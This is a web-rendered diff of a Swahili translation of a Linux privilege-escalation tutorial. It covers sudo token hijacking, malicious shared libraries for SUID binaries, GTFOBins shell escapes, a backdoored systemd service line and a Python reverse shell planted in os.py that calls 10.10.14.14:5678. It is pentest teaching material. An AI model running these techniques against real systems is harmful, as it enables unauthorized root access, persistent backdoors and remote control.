Hatimaye, kukimbia SUID binary iliyoharibiwa inapaswa kuzindua shambulio, kuruhusu uwezekano wa kudhoofisha mfumo.
|
||||
|
||||
## Utekaji wa Vitu vya Pamoja
|
||||
## Kutekeleza Udukuzi wa Vitu vya Pamoja
|
||||
```bash
|
||||
# Lets find a SUID using a non-standard library
|
||||
ldd some_suid
|
||||
|
@ -898,7 +896,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
|
|||
readelf -d payroll | grep PATH
|
||||
0x000000000000001d (RUNPATH) Library runpath: [/development]
|
||||
```
|
||||
Sasa tumeona binary ya SUID ikiload maktaba kutoka kwenye folda ambapo tunaweza kuandika, tujenge maktaba hiyo kwenye folda hiyo na jina linalohitajika:
|
||||
Sasa tumeona binary ya SUID ikiload maktaba kutoka kwenye folda ambapo tunaweza kuandika, tujenge maktaba hiyo kwenye folda hiyo na jina la lazima:
|
||||
```c
|
||||
//gcc src.c -fPIC -shared -o /development/libshared.so
|
||||
#include <stdio.h>
|
||||
|
@ -919,9 +917,9 @@ Hii inamaanisha kwamba maktaba uliyoitengeneza inahitaji kuwa na kazi inayoitwa
|
|||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) ni orodha iliyochaguliwa ya Unix binaries ambazo zinaweza kutumiwa na mshambuliaji kukiuka vizuizi vya usalama wa ndani. [**GTFOArgs**](https://gtfoargs.github.io/) ni sawa lakini kwa kesi ambapo unaweza **kuingiza tu hoja** katika amri.
|
||||
[**GTFOBins**](https://gtfobins.github.io) ni orodha iliyochaguliwa ya Unix binaries ambazo zinaweza kutumiwa na mshambuliaji kukiuka vizuizi vya usalama wa ndani. [**GTFOArgs**](https://gtfoargs.github.io/) ni sawa lakini kwa hali ambapo unaweza **kuingiza tu hoja** katika amri.
|
||||
|
||||
Mradi huu unakusanya kazi halali za Unix binaries ambazo zinaweza kutumiwa vibaya kuvunja mabano yaliyozuiwa, kukuza au kudumisha mamlaka ya juu, kuhamisha faili, kuzalisha bind na reverse shells, na kurahisisha kazi zingine za baada ya kuvamia.
|
||||
Mradi huu unakusanya kazi halali za Unix binaries ambazo zinaweza kutumiwa kwa mabaya kuvunja mabano ya mifumo ya usalama, kukuza au kudumisha mamlaka ya juu, kuhamisha faili, kuzalisha bind na reverse shells, na kurahisisha kazi zingine za baada ya kuvamia.
|
||||
|
||||
> gdb -nx -ex '!sh' -ex quit\
|
||||
> sudo mysql -e '! /bin/sh'\
|
||||
|
@ -934,16 +932,16 @@ Mradi huu unakusanya kazi halali za Unix binaries ambazo zinaweza kutumiwa vibay
|
|||
|
||||
### FallOfSudo
|
||||
|
||||
Ikiwa unaweza kupata `sudo -l` unaweza kutumia zana [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) kuangalia ikiwa inagundua jinsi ya kutumia sheria yoyote ya sudo.
|
||||
Ikiwa unaweza kupata `sudo -l` unaweza kutumia zana [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) kuangalia ikiwa inaweza kupata jinsi ya kutumia sheria yoyote ya sudo.
|
||||
|
||||
### Kutumia Upya Vyeti vya Sudo
|
||||
### Kutumia Upya Vitambulisho vya Sudo
|
||||
|
||||
Katika kesi ambapo una **upatikanaji wa sudo** lakini sio nywila, unaweza kukuza mamlaka kwa **kungojea utekelezaji wa amri ya sudo na kisha kuteka kikao cha ishara**.
|
||||
Katika hali ambapo una **upatikanaji wa sudo** lakini sio nenosiri, unaweza kukuza mamlaka kwa **kungojea utekelezaji wa amri ya sudo na kisha kuteka kikao cha ishara**.
|
||||
|
||||
Mahitaji ya kukuza mamlaka:
|
||||
|
||||
* Tayari una shell kama mtumiaji "_sampleuser_"
|
||||
* "_sampleuser_" ame **tumia `sudo`** kutekeleza kitu katika **dakika 15 zilizopita** (kwa kawaida hiyo ni muda wa ishara ya sudo inayoturuhusu kutumia `sudo` bila kuingiza nywila yoyote)
|
||||
* "_sampleuser_" ame **tumia `sudo`** kutekeleza kitu katika **dakika 15 zilizopita** (kwa kawaida hiyo ni muda wa ishara ya sudo inayoruhusu kutumia `sudo` bila kuingiza nenosiri lolote)
|
||||
* `cat /proc/sys/kernel/yama/ptrace_scope` ni 0
|
||||
* `gdb` inapatikana (unaweza kuweza kuipakia)
|
||||
|
||||
|
@ -951,13 +949,13 @@ Mahitaji ya kukuza mamlaka:
|
|||
|
||||
Ikiwa mahitaji yote haya yanakidhiwa, **unaweza kukuza mamlaka kwa kutumia:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
|
||||
|
||||
* **Uvamizi wa kwanza** (`exploit.sh`) utaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kutumia hiyo kuiwezesha ishara ya sudo katika kikao chako (hutapata moja kwa moja kabati la mzizi, fanya `sudo su`):
|
||||
* **Uvamizi wa kwanza** (`exploit.sh`) utaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kutumia hiyo **kuamsha ishara ya sudo katika kikao chako** (hutapata moja kwa moja kabisa shell ya mzizi, fanya `sudo su`):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
sudo su
|
||||
```
|
||||
* **Exploit ya pili** (`exploit_v2.sh`) itaunda sh shell katika _/tmp_ **iliyomilikiwa na root na setuid**
|
||||
* **Kudukuliwa kwa pili** (`exploit_v2.sh`) kutazalisha kabibi ya sh katika _/tmp_ **iliyomilikiwa na root na setuid**
|
||||
```bash
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
|
@ -969,14 +967,15 @@ sudo su
|
|||
```
|
||||
### /var/run/sudo/ts/\<Jina la mtumiaji>
|
||||
|
||||
Ikiwa una **ruhusa ya kuandika** kwenye folda au kwenye faili yoyote iliyoundwa ndani ya folda hiyo, unaweza kutumia binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) ku **unda token ya sudo kwa mtumiaji na PID**. Kwa mfano, ikiwa unaweza kubadilisha faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo na PID 1234, unaweza **kupata ruhusa za sudo** bila kuhitaji kujua nenosiri kwa kufanya:
|
||||
Ikiwa una **ruhusa ya kuandika** kwenye folda au kwenye faili yoyote iliyo ndani ya folda hiyo unaweza kutumia binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) **kuunda token ya sudo kwa mtumiaji na PID**.\
|
||||
Kwa mfano, ikiwa unaweza kubadilisha faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo na PID 1234, unaweza **kupata ruhusa za sudo** bila haja ya kujua nenosiri kwa kufanya:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Faili `/etc/sudoers` na faili ndani ya `/etc/sudoers.d` zinaconfigure ni nani anaweza kutumia `sudo` na jinsi gani. Faili hizi **kwa chaguo-msingi zinaweza kusomwa tu na mtumiaji root na kikundi cha root**.\
|
||||
**Ikiwa** unaweza **kusoma** faili hii unaweza kuweza kupata **taarifa za kuvutia**, na ikiwa unaweza **kuandika** faili yoyote utaweza **kupandisha vyeo**.
|
||||
Faili `/etc/sudoers` na faili ndani ya `/etc/sudoers.d` huzingatia ni nani anaweza kutumia `sudo` na jinsi gani. Faili hizi **kwa chaguo-msingi zinaweza kusomwa tu na mtumiaji root na kikundi cha root**.\
|
||||
**Ikiwa** unaweza **kusoma** faili hii unaweza kuwa na uwezo wa **kupata habari za kuvutia**, na ikiwa unaweza **kuandika** faili yoyote utaweza **kupandisha vyeo**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
|
@ -1003,7 +1002,7 @@ permit nopass demo as root cmd vim
|
|||
|
||||
Ikiwa unajua kwamba **mtumiaji kawaida hujihusisha na mashine na kutumia `sudo`** kuongeza mamlaka na umepata shell ndani ya muktadha huo wa mtumiaji, unaweza **kuunda faili mpya ya sudo** ambayo itatekeleza nambari yako kama root na kisha amri ya mtumiaji. Kisha, **badilisha $PATH** ya muktadha wa mtumiaji (kwa mfano kwa kuongeza njia mpya katika .bash\_profile) ili wakati mtumiaji anatekeleza sudo, faili yako ya sudo itatekelezwa.
|
||||
|
||||
Tafadhali kumbuka kwamba ikiwa mtumiaji anatumia kabati tofauti (si bash) utahitaji kuhariri faili nyingine kuongeza njia mpya. Kwa mfano [sudo-piggyback](https://github.com/APTy/sudo-piggyback) inabadilisha `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
|
||||
Tafadhali kumbuka kwamba ikiwa mtumiaji anatumia kabati tofauti (si bash) utahitaji kuhariri faili nyingine kuongeza njia mpya. Kwa mfano [sudo-piggyback](https://github.com/APTy/sudo-piggyback) inahariri `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
|
||||
|
||||
Au kutekeleza kitu kama:
|
||||
```bash
|
||||
|
@ -1020,7 +1019,7 @@ zsh
|
|||
echo $PATH
|
||||
sudo ls
|
||||
```
|
||||
## Maktaba Inayoshirikiwa
|
||||
## Maktaba ya Pamoja
|
||||
|
||||
### ld.so
|
||||
|
||||
|
@ -1028,8 +1027,8 @@ Faili `/etc/ld.so.conf` inaonyesha **mahali ambapo faili za mipangilio iliyopaki
|
|||
|
||||
Hii inamaanisha kuwa faili za mipangilio kutoka `/etc/ld.so.conf.d/*.conf` zitasomwa. Faili hizi za mipangilio **zinaweza kuashiria kwenye folda nyingine** ambapo **maktaba** zitatafutwa. Kwa mfano, yaliyomo kwenye `/etc/ld.so.conf.d/libc.conf` ni `/usr/local/lib`. **Hii inamaanisha kuwa mfumo utatafuta maktaba ndani ya `/usr/local/lib`**.
|
||||
|
||||
Ikiwa kwa sababu fulani **mtumiaji ana ruhusa ya kuandika** kwenye mojawapo ya njia zilizoonyeshwa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, faili yoyote ndani ya `/etc/ld.so.conf.d/` au folda yoyote ndani ya faili ya mipangilio ndani ya `/etc/ld.so.conf.d/*.conf` anaweza kuwa na uwezo wa kukuza mamlaka.\
|
||||
Angalia **jinsi ya kutumia hitilafu hii ya mipangilio** kwenye ukurasa ufuatao:
|
||||
Ikiwa kwa sababu fulani **mtumiaji ana ruhusa ya kuandika** kwenye mojawapo ya njia zilizoonyeshwa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, faili yoyote ndani ya `/etc/ld.so.conf.d/` au folda yoyote ndani ya faili ya mipangilio ndani ya `/etc/ld.so.conf.d/*.conf` anaweza kuinua mamlaka.\
|
||||
Angalia **jinsi ya kutumia kasoro hii ya mipangilio** kwenye ukurasa ufuatao:
|
||||
|
||||
{% content-ref url="ld.so.conf-example.md" %}
|
||||
[ld.so.conf-example.md](ld.so.conf-example.md)
|
||||
|
@ -1055,7 +1054,7 @@ linux-gate.so.1 => (0x005b0000)
|
|||
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x00737000)
|
||||
```
|
||||
Kisha unda maktaba mbaya katika `/var/tmp` kwa kutumia `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
|
||||
Kisha tengeneza maktaba mbaya katika `/var/tmp` kwa kutumia `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
|
||||
```c
|
||||
#include<stdlib.h>
|
||||
#define SHELL "/bin/sh"
|
||||
|
@ -1070,7 +1069,7 @@ execve(file,argv,0);
|
|||
```
|
||||
## Uwezo
|
||||
|
||||
Uwezo wa Linux hutoa **sehemu ya mizizi inayopatikana kwa mchakato**. Hii inavunja uwezo wa mizizi **kuwa sehemu ndogo na tofauti**. Kila moja ya sehemu hizi inaweza kutolewa kwa mchakato kivyake. Hivyo seti kamili ya uwezo inapunguzwa, ikipunguza hatari za unyanyasaji.\
|
||||
Uwezo wa Linux hutoa **sehemu ya mizizi inayopatikana kwa mchakato**. Hii kimsingi huvunja **mizizi ya uwezo kuwa vitengo vidogo na vya kipekee**. Kila moja ya vitengo hivi inaweza kutolewa kwa mchakato kivyake. Hivyo seti kamili ya uwezo inapunguzwa, ikipunguza hatari za unyonyaji.\
|
||||
Soma ukurasa ufuatao kujifunza zaidi kuhusu uwezo na jinsi ya **kutumia vibaya**:
|
||||
|
||||
{% content-ref url="linux-capabilities.md" %}
|
||||
|
@ -1079,12 +1078,12 @@ Soma ukurasa ufuatao kujifunza zaidi kuhusu uwezo na jinsi ya **kutumia vibaya**
|
|||
|
||||
## Ruhusa za Directory
|
||||
|
||||
Katika saraka, **biti ya "utekelezaji"** inamaanisha kwamba mtumiaji anayehusika anaweza "**cd**" kuingia kwenye folda.\
|
||||
Katika saraka, **biti ya "utekelezaji"** inamaanisha kuwa mtumiaji anayehusika anaweza "**cd**" kuingia kwenye folda.\
|
||||
Biti ya **"soma"** inamaanisha mtumiaji anaweza **kuorodhesha** **faili**, na biti ya **"andika"** inamaanisha mtumiaji anaweza **kufuta** na **kuunda** **faili** mpya.
|
||||
|
||||
## ACLs
|
||||
|
||||
Orodha za Kudhibiti Upatikanaji (ACLs) zinaonyesha safu ya pili ya ruhusa za hiari, zenye uwezo wa **kupuuza ruhusa za jadi za ugo/rwx**. Ruhusa hizi huongeza udhibiti juu ya ufikiaji wa faili au saraka kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kikundi. Kiwango hiki cha **ufafanuzi kuhakikisha usimamizi sahihi wa ufikiaji**. Maelezo zaidi yanaweza kupatikana [**hapa**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Orodha za Kudhibiti Upatikanaji (ACLs) zinaonyesha safu ya pili ya ruhusa za hiari, zenye uwezo wa **kubadilisha ruhusa za jadi za ugo/rwx**. Ruhusa hizi huongeza udhibiti juu ya ufikiaji wa faili au saraka kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kikundi. Kiwango hiki cha **ufafanuzi kuhakikisha usimamizi sahihi wa ufikiaji**. Maelezo zaidi yanaweza kupatikana [**hapa**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Toa** mtumiaji "kali" ruhusa za kusoma na kuandika kwenye faili:
|
||||
```bash
|
||||
|
@ -1099,8 +1098,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
|||
```
|
||||
## Kufungua vikao vya kabibi
|
||||
|
||||
Katika **toleo za zamani** unaweza **kuteka** vikao vya kabibi vya mtumiaji mwingine (**root**).\
|
||||
Katika **toleo jipya zaidi** utaweza **kuunganisha** kwenye vikao vya skrini tu vya **mtumiaji wako mwenyewe**. Hata hivyo, unaweza kupata **habari za kuvutia ndani ya kikao**.
|
||||
Katika **toleo za zamani** unaweza **kuteka** kikao cha kabibi cha mtumiaji mwingine (**root**).\
|
||||
Katika **toleo jipya zaidi** utaweza **kuunganisha** kikao cha skrini cha mtumiaji wako mwenyewe tu. Hata hivyo, unaweza kupata **habari muhimu ndani ya kikao**.
|
||||
|
||||
### Kuteka vikao vya skrini
|
||||
|
||||
|
@ -1143,14 +1142,14 @@ Angalia **Valentine box kutoka HTB** kama mfano.
|
|||
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Funguo zote za SSL na SSH zilizozalishwa kwenye mifumo ya Debian (Ubuntu, Kubuntu, n.k.) kati ya Septemba 2006 na Mei 13, 2008 zinaweza kuathiriwa na kosa hili.\
|
||||
Kosa hili husababishwa wakati wa kuunda funguo mpya za ssh kwenye mifumo hiyo, kwani **ni 32,768 pekee za mabadiliko zilizowezekana**. Hii inamaanisha kuwa uwezekano wote unaweza kuhesabiwa na **ukiwa na funguo ya umma ya ssh unaweza kutafuta funguo ya kibinafsi inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Fungua funguo zote za SSL na SSH zilizotengenezwa kwenye mifumo inayotegemea Debian (Ubuntu, Kubuntu, nk) kati ya Septemba 2006 na Mei 13, 2008 zinaweza kuathiriwa na kosa hili.\
|
||||
Kosa hili husababishwa wakati wa kutengeneza funguo mpya za ssh kwenye mifumo hiyo, kwani **ni mchanganyiko wa 32,768 pekee uliowezekana**. Hii inamaanisha kuwa uwezekano wote unaweza kuhesabiwa na **ukiwa na funguo ya umma ya ssh unaweza kutafuta funguo ya kibinafsi inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Vipimo vya Usanidi Vinavyovutia
|
||||
|
||||
* **PasswordAuthentication:** Inabainisha ikiwa uthibitishaji wa nywila unaruhusiwa. Chaguo la msingi ni `hapana`.
|
||||
* **PubkeyAuthentication:** Inabainisha ikiwa uthibitishaji wa funguo za umma unaruhusiwa. Chaguo la msingi ni `ndiyo`.
|
||||
* **PermitEmptyPasswords**: Wakati uthibitishaji wa nywila unaruhusiwa, inabainisha ikiwa server inaruhusu kuingia kwenye akaunti zenye herufi za nywila tupu. Chaguo la msingi ni `hapana`.
|
||||
* **PermitEmptyPasswords**: Wakati uthibitishaji wa nywila unaruhusiwa, inabainisha ikiwa seva inaruhusu kuingia kwenye akaunti zenye herufi za nywila tupu. Chaguo la msingi ni `hapana`.
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
|
@ -1171,7 +1170,7 @@ Hiyo mipangilio itaonyesha kwamba ukijaribu kuingia kwa **funguo ya kibinafsi**
|
|||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
Kusonga mbele kwa wakala wa SSH inakuruhusu **kutumia funguo zako za SSH za ndani badala ya kuacha funguo** (bila nywila!) zikikaa kwenye server yako. Kwa hivyo, utaweza **kuruka** kupitia ssh **kwenda kwa mwenyeji** na kutoka hapo **kuruka kwa mwenyeji mwingine** **ukitumia** **funguo** iliyoko kwenye **mwenyeji wako wa awali**.
|
||||
Kusonga mbele kwa wakala wa SSH inakuruhusu **kutumia funguo zako za SSH za ndani badala ya kuacha funguo** (bila nywila!) zikikaa kwenye server yako. Kwa hivyo, utaweza **kuruka** kupitia ssh **kwenda kwa mwenyeji** na kutoka hapo **kuruka kwenda kwa mwenyeji mwingine** **ukitumia** **funguo** iliyoko kwenye **mwenyeji wako wa awali**.
|
||||
|
||||
Unahitaji kuweka chaguo hili katika `$HOME/.ssh.config` kama hivi:
|
||||
```
|
||||
|
@ -1183,17 +1182,17 @@ Tambua kwamba ikiwa `Host` ni `*` kila wakati mtumiaji anapohamia kwenye mashine
|
|||
Faili `/etc/ssh_config` inaweza **kubadilisha** hii **chaguo** na kuruhusu au kukataa usanidi huu.\
|
||||
Faili `/etc/sshd_config` inaweza **kuruhusu** au **kukataa** ssh-agent forwarding kwa neno la msimbo `AllowAgentForwarding` (chaguo la msingi ni kuruhusu).
|
||||
|
||||
Ikiwa utagundua kuwa Forward Agent imeboreshwa katika mazingira, soma ukurasa ufuatao kwani **unaweza kutumia hii kwa kujipandisha viwango vya ruhusu**:
|
||||
Ikiwa utagundua kuwa Forward Agent imewekwa katika mazingira, soma ukurasa ufuatao kwani **unaweza kutumia hii kwa kujipandisha viwango vya ruhusa**:
|
||||
|
||||
{% content-ref url="ssh-forward-agent-exploitation.md" %}
|
||||
[ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Faili za Kuvutia
|
||||
## Faili Zinazovutia
|
||||
|
||||
### Faili za Mipangilio
|
||||
### Faili za Profaili
|
||||
|
||||
Faili `/etc/profile` na faili chini ya `/etc/profile.d/` ni **hati ambazo hutekelezwa wakati mtumiaji anapoendesha kabia mpya**. Kwa hivyo, ikiwa unaweza **kuandika au kuhariri yoyote kati yao unaweza kujipandisha viwango vya ruhusu**.
|
||||
Faili `/etc/profile` na faili chini ya `/etc/profile.d/` ni **maandishi ambayo hutekelezwa wakati mtumiaji anapoendesha kabia mpya**. Kwa hivyo, ikiwa unaweza **kuandika au kuhariri yoyote kati yao unaweza kujipandisha viwango vya ruhusa**.
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
|
@ -1234,20 +1233,22 @@ su - dummy
|
|||
```
|
||||
**TAARIFA:** Katika majukwaa ya BSD `/etc/passwd` iko katika `/etc/pwd.db` na `/etc/master.passwd`, pia `/etc/shadow` imepewa jina la `/etc/spwd.db`.
|
||||
|
||||
Unapaswa kuangalia ikiwa unaweza **kuandika kwenye faili zenye nyeti**. Kwa mfano, je, unaweza kuandika kwenye **faili ya mazingira ya huduma fulani**?
|
||||
Unapaswa kuangalia ikiwa unaweza **kuandika kwenye faili zenye nyeti**. Kwa mfano, je, unaweza kuandika kwenye faili ya **mazingira ya huduma**?
|
||||
```bash
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
Kwa mfano, ikiwa mashine inaendesha **seva ya tomcat** na unaweza **kurekebisha faili ya usanidi wa huduma ya Tomcat ndani ya /etc/systemd/**, basi unaweza kurekebisha mistari:
|
||||
Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **kurekebisha faili ya usanidi wa huduma ya Tomcat ndani ya /etc/systemd/**, basi unaweza kurekebisha mistari:
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
Group=root
|
||||
```
|
||||
### Angalia Vyeo
|
||||
Backdoor yako itatekelezwa wakati tomcat inaanzishwa.
|
||||
|
||||
Vyeo vifuatavyo vinaweza kuwa na nakala rudufu au habari za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Labda huenda usiweze kusoma la mwisho lakini jaribu)
|
||||
### Angalia Vichupo
|
||||
|
||||
Vichupo vifuatavyo vinaweza kuwa na nakala rudufu au habari za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Labda huenda usiweze kusoma ya mwisho lakini jaribu)
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
|
@ -1289,7 +1290,7 @@ find / -type f -iname ".*" -ls 2>/dev/null
|
|||
### **Script/Mafaili ya Binary katika PATH**
|
||||
```bash
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
|
||||
```
|
||||
### **Faili za Wavuti**
|
||||
```bash
|
||||
|
@ -1305,11 +1306,11 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
|||
### Faili zinazojulikana kuwa na nywila
|
||||
|
||||
Soma nambari ya [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), inatafuta **faili kadhaa zinazoweza kuwa na nywila**.\
|
||||
**Zana nyingine ya kuvutia** unayoweza kutumia kufanya hivyo ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambayo ni programu huru inayotumika kupata nywila nyingi zilizohifadhiwa kwenye kompyuta ya eneo kwa Windows, Linux & Mac.
|
||||
**Zana nyingine ya kuvutia** unayoweza kutumia kufanya hivyo ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambayo ni programu huru inayotumika kupata nywila nyingi zilizohifadhiwa kwenye kompyuta ya ndani kwa Windows, Linux & Mac.
|
||||
|
||||
### Kumbukumbu
|
||||
|
||||
Ikiwa unaweza kusoma kumbukumbu, unaweza kupata **habari muhimu/siri ndani yake**. Kumbukumbu inavyoonekana kuwa ya ajabu, ndivyo itakavyokuwa ya kuvutia zaidi (labda).\
|
||||
Ikiwa unaweza kusoma kumbukumbu, unaweza kupata **habari muhimu/siri ndani yake**. Kumbukumbu inavyokuwa ya ajabu, ndivyo itakavyokuwa ya kuvutia zaidi (labda).\
|
||||
Pia, baadhi ya kumbukumbu za ukaguzi zilizopangwa vibaya (zilizo na mlango wa nyuma?) zinaweza kukuruhusu **kuandika nywila** ndani ya kumbukumbu za ukaguzi kama ilivyoelezwa katika chapisho hili: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
|
@ -1330,7 +1331,7 @@ Ili **kusoma logs ya kikundi** [**adm**](makundi-ya-kuvutia-ya-linux-pe/#kikundi
|
|||
```
|
||||
### Utafutaji wa Vibali/Regex wa Kijumla
|
||||
|
||||
Pia unapaswa kuangalia faili zinazo **jumuisha** neno "**password**" katika **jina** au ndani ya **maudhui**, na pia angalia IPs na barua pepe ndani ya magogo, au hash regexps.\
|
||||
Pia unapaswa kuangalia faili zinazo **kuwa na neno** "**password**" katika **jina** yake au ndani ya **maudhui**, na pia angalia IPs na barua pepe ndani ya magogo, au hash regexps.\
|
||||
Sitataja hapa jinsi ya kufanya hivi lakini ikiwa una nia unaweza kuangalia ukaguzi wa mwisho ambao [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) hufanya.
|
||||
|
||||
## Faili Zinazoweza Kuandikwa
|
||||
|
@ -1339,33 +1340,33 @@ Sitataja hapa jinsi ya kufanya hivi lakini ikiwa una nia unaweza kuangalia ukagu
|
|||
|
||||
Ikiwa unajua **mahali** ambapo skripti ya python itatekelezwa na unaweza **kuandika ndani** ya folda hiyo au unaweza **kurekebisha maktaba za python**, unaweza kurekebisha maktaba ya OS na kuifanya kuwa na mlango wa nyuma (ikiwa unaweza kuandika mahali ambapo skripti ya python itatekelezwa, nakili na ubandike maktaba ya os.py).
|
||||
|
||||
Ku **weka mlango wa nyuma kwenye maktaba**, ongeza mwishoni mwa maktaba ya os.py mstari ufuatao (badilisha IP na PORT):
|
||||
Ku **kuweka mlango wa nyuma kwenye maktaba**, weka mwishoni mwa maktaba ya os.py mstari ufuatao (badilisha IP na PORT):
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
### Uchunguzi wa Logrotate
|
||||
|
||||
Udhaifu katika `logrotate` huruhusu watumiaji wenye **ruhusa za kuandika** kwenye faili ya log au folda zake za mzazi kupata mamlaka ya juu. Hii ni kwa sababu `logrotate`, mara nyingi ikifanya kazi kama **root**, inaweza kudanganywa kutekeleza faili za kupindukia, hasa katika folda kama _**/etc/bash\_completion.d/**_. Ni muhimu kuchunguza ruhusa si tu katika _/var/log_ bali pia katika folda yoyote ambapo mzunguko wa logi unatumika.
|
||||
Udhaifu katika `logrotate` huruhusu watumiaji wenye **ruhusa za kuandika** kwenye faili ya log au mabwawa yake ya wazazi kupata mamlaka ya juu. Hii ni kwa sababu `logrotate`, mara nyingi ikifanya kazi kama **root**, inaweza kudanganywa kutekeleza faili za kupindukia, hasa katika mabwawa kama _**/etc/bash\_completion.d/**_. Ni muhimu kuchunguza ruhusa si tu katika _/var/log_ bali pia katika saraka yoyote ambapo mzunguko wa logi unatumika.
|
||||
|
||||
{% hint style="info" %}
|
||||
Udhaifu huu huathiri toleo la `logrotate` `3.18.0` na matoleo ya zamani
|
||||
Udhaifu huu unaathiri `logrotate` toleo `3.18.0` na vinyume vyake
|
||||
{% endhint %}
|
||||
|
||||
Maelezo zaidi kuhusu udhaifu huu yanaweza kupatikana kwenye ukurasa huu: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
|
||||
|
||||
Unaweza kutumia udhaifu huu na [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Udhaifu huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logs za nginx),** kwa hivyo unapogundua unaweza kubadilisha logs, chunguza ni nani anayesimamia logs hizo na angalia ikiwa unaweza kupandisha mamlaka kwa kubadilisha logs kwa viungo vya ishara.
|
||||
Udhaifu huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(magogo ya nginx),** kwa hivyo unapogundua unaweza kubadilisha magogo, chunguza ni nani anayesimamia magogo hayo na angalia ikiwa unaweza kupandisha mamlaka kwa kubadilisha magogo kwa viungo vya alama.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
